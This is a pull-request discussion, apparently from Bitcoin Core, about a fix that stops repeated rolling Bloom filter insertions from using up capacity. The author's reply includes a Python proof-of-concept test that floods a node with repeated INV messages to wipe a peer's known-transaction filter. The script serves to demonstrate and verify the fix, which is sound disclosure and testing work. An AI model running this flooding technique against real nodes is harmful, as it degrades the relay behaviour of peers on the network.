util: avoid redundant rolling Bloom insertions #36234

JeremyRubin commented at 6:45 PM on September 12, 2026: contributor

Re-inserting a value already represented by the current generation advances its entry counter without adding membership information. Repeating one value can therefore expire unrelated entries sooner than the configured capacity implies.

Detect current-generation membership before rotating. Only repeats already represented by that generation are free; refreshing an older entry consumes capacity normally. Retain the computed hashes so insertion does not hash the value twice.

One trade off is how insert into current generation when present in past generation. For this patch, the intended behavior is to count this as a fresh insert, so that the entry expires with the current insert generation.

util: avoid redundant rolling Bloom insertions

Re-inserting a value already represented by the current generation
advances its entry counter without adding membership information.
Repeating one value can therefore expire unrelated entries sooner than
the configured capacity implies.

Detect current-generation membership before rotating. Only repeats
already represented by that generation are free; refreshing an older
entry consumes capacity normally. Retain the computed hashes so
insertion does not hash the value twice.

25ce2fa1f6

DrahtBot added the label Utils/log/libs on Sep 12, 2026

DrahtBot commented at 6:45 PM on September 12, 2026: contributor

The following sections might be updated with supplementary metadata relevant to reviewers and maintainers.

External sites

Code coverage & benchmarks: https://corecheck.dev/bitcoin/bitcoin/pulls/36234
Ralph review <img src=https://review.fish.foo/assets/bitcoin/bitcoin/36234.png alt="Ralph review status"> https://git.fish.foo/bitcoin/bitcoin/pulls/36234#author-ralph

Reviews

See the guideline and AI policy for information on the review process. A summary of reviews will appear here.

sedited requested review from instagibbs on Sep 12, 2026

instagibbs commented at 7:31 PM on September 14, 2026: member

Are there any worrying usage patterns that you've seen this resolves, or is this more of a general correctness issue that was noticed?

JeremyRubin commented at 7:42 PM on October 22, 2026: contributor

Yes, this allows for somewhat trivially wiping the known-tx filter.

#!/usr/bin/env python3
"""Demonstrate repeated P2P announcements aging a peer's known-tx filter."""

import time

from test_framework.blocktools import COINBASE_MATURITY
from test_framework.messages import CInv, MSG_WTX, msg_inv
from test_framework.p2p import P2PInterface, p2p_lock
from test_framework.test_framework import BitcoinTestFramework
from test_framework.util import assert_equal
from test_framework.wallet import MiniWallet


FILTER_ELEMENTS = 50_000
ENTRIES_PER_GENERATION = FILTER_ELEMENTS // 2
GENERATIONS = 3
FLOOD_MESSAGES = ENTRIES_PER_GENERATION * GENERATIONS
MESSAGES_PER_BATCH = 5_000


class InvRecorder(P2PInterface):
    def __init__(self):
        super().__init__()
        self.invs = []

    def on_inv(self, message):
        self.invs.extend(message.inv)

    def has_wtxid(self, wtxid):
        return any(inv.type == MSG_WTX and inv.hash == wtxid for inv in self.invs)


class RollingBloomP2PDoS(BitcoinTestFramework):
    def set_test_params(self):
        self.num_nodes = 1

    def add_options(self, parser):
        parser.add_argument(
            "--expect-fixed",
            action="store_true",
            help="Expect the target to remain known instead of being relayed",
        )

    def run_test(self):
        node = self.nodes[0]
        wallet = MiniWallet(node)
        self.generate(wallet, COINBASE_MATURITY + 1)
        node.setmocktime(int(time.time()))

        peer = node.add_p2p_connection(
            InvRecorder(),
            supports_v2_p2p=False,
        )

        target = wallet.create_self_transfer()
        target_wtxid = target["tx"].wtxid_int

        # Mark the target as known by this peer before it enters our mempool.
        peer.send_and_ping(msg_inv([CInv(t=MSG_WTX, h=target_wtxid)]))

        # Each INV is a separate message because net_processing deduplicates
        # hashes within a single INV message. The vulnerable implementation
        # nevertheless charges every cross-message repetition to the filter.
        repeated_inv = peer.build_message(
            msg_inv([CInv(t=MSG_WTX, h=target_wtxid ^ 1)])
        )
        remaining = FLOOD_MESSAGES
        while remaining:
            batch_size = min(remaining, MESSAGES_PER_BATCH)
            peer.send_raw_message(repeated_inv * batch_size)
            peer.sync_with_ping(timeout=120)
            remaining -= batch_size
            self.log.info(f"Sent {FLOOD_MESSAGES - remaining}/{FLOOD_MESSAGES} repeated INVs")

        # A peer that still has the target in its known filter must not receive
        # this announcement. The vulnerable implementation relays it back.
        node.sendrawtransaction(target["hex"])
        node.bumpmocktime(10 * 60)
        peer.sync_with_ping(timeout=120)

        if self.options.expect_fixed:
            with p2p_lock:
                assert_equal(peer.has_wtxid(target_wtxid), False)
            self.log.info("Target remained known after repeated announcements")
        else:
            peer.wait_until(lambda: peer.has_wtxid(target_wtxid), timeout=120)
            self.log.info("Target transaction was relayed back to the announcing peer")


if __name__ == "__main__":
    RollingBloomP2PDoS(__file__).main()